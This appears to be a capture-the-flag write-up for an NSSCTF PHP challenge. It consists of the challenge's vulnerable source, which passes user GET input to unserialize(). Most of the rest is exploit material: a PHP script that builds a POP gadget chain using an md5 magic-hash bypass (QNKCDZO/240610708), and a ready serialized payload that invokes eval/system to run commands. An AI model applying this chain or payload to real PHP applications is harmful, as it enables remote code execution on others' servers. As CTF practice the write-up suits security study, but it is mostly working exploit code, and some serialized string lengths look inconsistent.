ez_1zpop

First Post:

Last Update: 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
error_reporting(0);
class dxg
{
  function fmm()
  {
   return "nonono";
  }
}

class lt
{
  public $impo='hi';
  public $md51='weclome';
  public $md52='to NSS';
  function __construct()
  {
   $this->impo = new dxg;
  }
  function __wakeup()
  {
   $this->impo = new dxg;
   return $this->impo->fmm();
  }

  function __toString()
  {
   if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
     return $this->impo->fmm();
  }
  function __destruct()
  {
   echo $this;
  }
}

class fin
{
  public $a;
  public $url = 'https://www.ctfer.vip';
  public $title;
  function fmm()
  {
   $b = $this->a;
   $b($this->title);
  }
}

if (isset($_GET['NSS'])) {
  $Data = unserialize($_GET['NSS']);
} else {
  highlight_file(__file__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
class dxg
{
  function fmm()
  {
   return "nonono";
  }
}
class lt
{
  public $impo='hi';
  public $md51='weclome';
  public $md52='to NSS';
  function __construct()
  {
   $this->impo = new dxg;
  }
  function __wakeup()
  {
   $this->impo = new dxg;
   return $this->impo->fmm();
  }
  function __toString()
  {
   if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
​     return $this->impo->fmm();
  }
  function __destruct()
  {
   echo $this;
  }
}
class fin
{
  public $a;
  public $url = 'https://www.ctfer.vip';
  public $title;
  function fmm()
  {
   $b = $this->a;
   $b($this->title);
  }
}
$fin = new fin();
$fin->a = 'system';
$fin->title = 'ls'; 
$lt = new lt();
$lt->impo = $fin;
$lt->md51 = 's214587387a';
$lt->md52 = '240610708';
echo serialize($lt);
?>
1
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:4:"eval";s:3:"url";s:34:"http://node5.anna.nssctf.cn:22535/";s:5:"title";s:13:"system("id");";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"240610708";}"